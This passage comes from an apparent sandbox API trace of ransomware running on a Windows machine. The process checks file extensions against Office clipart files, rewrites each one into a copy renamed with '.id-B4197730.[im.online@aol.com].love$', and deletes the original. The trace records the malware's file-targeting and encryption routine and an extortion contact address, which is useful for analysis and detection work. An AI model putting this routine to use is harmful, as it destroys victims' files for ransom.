Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0120.920] lstrlenW (lpString=".doc") returned 4 [0120.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.920] lstrlenW (lpString=".docx") returned 5 [0120.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.920] lstrlenW (lpString=".pdf") returned 4 [0120.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.920] lstrlenW (lpString=".xls") returned 4 [0120.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.920] lstrlenW (lpString=".xlsx") returned 5 [0120.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.920] lstrlenW (lpString=".ppt") returned 4 [0120.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0120.920] lstrlenW (lpString=".zip") returned 4 [0120.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.920] lstrlenW (lpString=".rar") returned 4 [0120.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.920] lstrlenW (lpString=".bz2") returned 4 [0120.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.920] lstrlenW (lpString=".7z") returned 3 [0120.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0120.920] lstrlenW (lpString=".dbf") returned 4 [0120.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0120.920] lstrlenW (lpString=".1cd") returned 4 [0120.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0120.921] lstrlenW (lpString=".jpg") returned 4 [0120.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0120.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0120.921] lstrlenW (lpString=".doc") returned 4 [0120.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.921] lstrlenW (lpString=".docx") returned 5 [0120.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.921] lstrlenW (lpString=".pdf") returned 4 [0120.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.921] lstrlenW (lpString=".xls") returned 4 [0120.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.921] lstrlenW (lpString=".xlsx") returned 5 [0120.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.921] lstrlenW (lpString=".ppt") returned 4 [0120.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0120.921] lstrlenW (lpString=".zip") returned 4 [0120.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.921] lstrlenW (lpString=".rar") returned 4 [0120.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.921] lstrlenW (lpString=".bz2") returned 4 [0120.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.921] lstrlenW (lpString=".7z") returned 3 [0120.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0120.921] lstrlenW (lpString=".dbf") returned 4 [0120.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0120.922] lstrlenW (lpString=".1cd") returned 4 [0120.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0120.922] lstrlenW (lpString=".jpg") returned 4 [0120.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.922] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.922] lstrlenW (lpString="AN04117_.WMF") returned 12 [0120.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0120.922] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=6060) returned 1 [0120.923] CloseHandle (hObject=0x340) returned 1 [0120.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0120.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0120.923] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.923] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0120.924] GetLastError () returned 0x0 [0120.924] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x17ac, lpOverlapped=0x0) returned 1 [0120.927] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x17b0, lpOverlapped=0x0) returned 1 [0120.928] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0120.928] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0120.929] SetEndOfFile (hFile=0x384) returned 1 [0120.929] CloseHandle (hObject=0x384) returned 1 [0120.932] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.932] SetEndOfFile (hFile=0x340) returned 1 [0120.933] CloseHandle (hObject=0x340) returned 1 [0120.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0120.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0120.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0120.934] lstrlenW (lpString=".doc") returned 4 [0120.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.934] lstrlenW (lpString=".docx") returned 5 [0120.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.935] lstrlenW (lpString=".pdf") returned 4 [0120.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.935] lstrlenW (lpString=".xls") returned 4 [0120.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.935] lstrlenW (lpString=".xlsx") returned 5 [0120.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.935] lstrlenW (lpString=".ppt") returned 4 [0120.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0120.935] lstrlenW (lpString=".zip") returned 4 [0120.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.935] lstrlenW (lpString=".rar") returned 4 [0120.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.935] lstrlenW (lpString=".bz2") returned 4 [0120.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.935] lstrlenW (lpString=".7z") returned 3 [0120.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0120.935] lstrlenW (lpString=".dbf") returned 4 [0120.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0120.935] lstrlenW (lpString=".1cd") returned 4 [0120.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0120.935] lstrlenW (lpString=".jpg") returned 4 [0120.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0120.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0120.936] lstrlenW (lpString=".doc") returned 4 [0120.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.936] lstrlenW (lpString=".docx") returned 5 [0120.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.936] lstrlenW (lpString=".pdf") returned 4 [0120.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.936] lstrlenW (lpString=".xls") returned 4 [0120.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.936] lstrlenW (lpString=".xlsx") returned 5 [0120.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.936] lstrlenW (lpString=".ppt") returned 4 [0120.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0120.936] lstrlenW (lpString=".zip") returned 4 [0120.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.936] lstrlenW (lpString=".rar") returned 4 [0120.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.936] lstrlenW (lpString=".bz2") returned 4 [0120.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.936] lstrlenW (lpString=".7z") returned 3 [0120.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0120.936] lstrlenW (lpString=".dbf") returned 4 [0120.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0120.936] lstrlenW (lpString=".1cd") returned 4 [0120.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0120.936] lstrlenW (lpString=".jpg") returned 4 [0120.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.937] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.937] lstrlenW (lpString="AN04134_.WMF") returned 12 [0120.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0120.937] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=3416) returned 1 [0120.937] CloseHandle (hObject=0x340) returned 1 [0120.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0120.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0120.938] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.938] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0120.939] GetLastError () returned 0x0 [0120.939] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xd58, lpOverlapped=0x0) returned 1 [0120.941] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xd60, lpOverlapped=0x0) returned 1 [0120.942] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0120.942] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0120.942] SetEndOfFile (hFile=0x384) returned 1 [0120.943] CloseHandle (hObject=0x384) returned 1 [0120.944] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.944] SetEndOfFile (hFile=0x340) returned 1 [0120.945] CloseHandle (hObject=0x340) returned 1 [0120.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0120.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0120.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0120.946] lstrlenW (lpString=".doc") returned 4 [0120.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.946] lstrlenW (lpString=".docx") returned 5 [0120.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.946] lstrlenW (lpString=".pdf") returned 4 [0120.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.946] lstrlenW (lpString=".xls") returned 4 [0120.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.946] lstrlenW (lpString=".xlsx") returned 5 [0120.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.947] lstrlenW (lpString=".ppt") returned 4 [0120.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0120.947] lstrlenW (lpString=".zip") returned 4 [0120.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.947] lstrlenW (lpString=".rar") returned 4 [0120.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.947] lstrlenW (lpString=".bz2") returned 4 [0120.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.947] lstrlenW (lpString=".7z") returned 3 [0120.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0120.947] lstrlenW (lpString=".dbf") returned 4 [0120.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0120.947] lstrlenW (lpString=".1cd") returned 4 [0120.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0120.947] lstrlenW (lpString=".jpg") returned 4 [0120.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0120.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0120.947] lstrlenW (lpString=".doc") returned 4 [0120.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.947] lstrlenW (lpString=".docx") returned 5 [0120.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.947] lstrlenW (lpString=".pdf") returned 4 [0120.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.948] lstrlenW (lpString=".xls") returned 4 [0120.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.948] lstrlenW (lpString=".xlsx") returned 5 [0120.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.948] lstrlenW (lpString=".ppt") returned 4 [0120.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0120.948] lstrlenW (lpString=".zip") returned 4 [0120.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.948] lstrlenW (lpString=".rar") returned 4 [0120.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.948] lstrlenW (lpString=".bz2") returned 4 [0120.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.948] lstrlenW (lpString=".7z") returned 3 [0120.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0120.948] lstrlenW (lpString=".dbf") returned 4 [0120.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0120.948] lstrlenW (lpString=".1cd") returned 4 [0120.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0120.948] lstrlenW (lpString=".jpg") returned 4 [0120.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.948] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.948] lstrlenW (lpString="AN04174_.WMF") returned 12 [0120.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0120.949] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=2636) returned 1 [0120.949] CloseHandle (hObject=0x340) returned 1 [0120.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0120.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0120.950] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.950] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0120.950] GetLastError () returned 0x0 [0120.950] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xa4c, lpOverlapped=0x0) returned 1 [0121.348] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xa50, lpOverlapped=0x0) returned 1 [0121.350] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0121.350] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0121.350] SetEndOfFile (hFile=0x384) returned 1 [0121.822] CloseHandle (hObject=0x384) returned 1 [0121.844] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0121.844] SetEndOfFile (hFile=0x340) returned 1 [0121.857] CloseHandle (hObject=0x340) returned 1 [0121.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0121.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0122.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0122.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0122.005] lstrlenW (lpString=".doc") returned 4 [0122.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.005] lstrlenW (lpString=".docx") returned 5 [0122.005] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.005] lstrlenW (lpString=".pdf") returned 4 [0122.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.005] lstrlenW (lpString=".xls") returned 4 [0122.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.005] lstrlenW (lpString=".xlsx") returned 5 [0122.005] 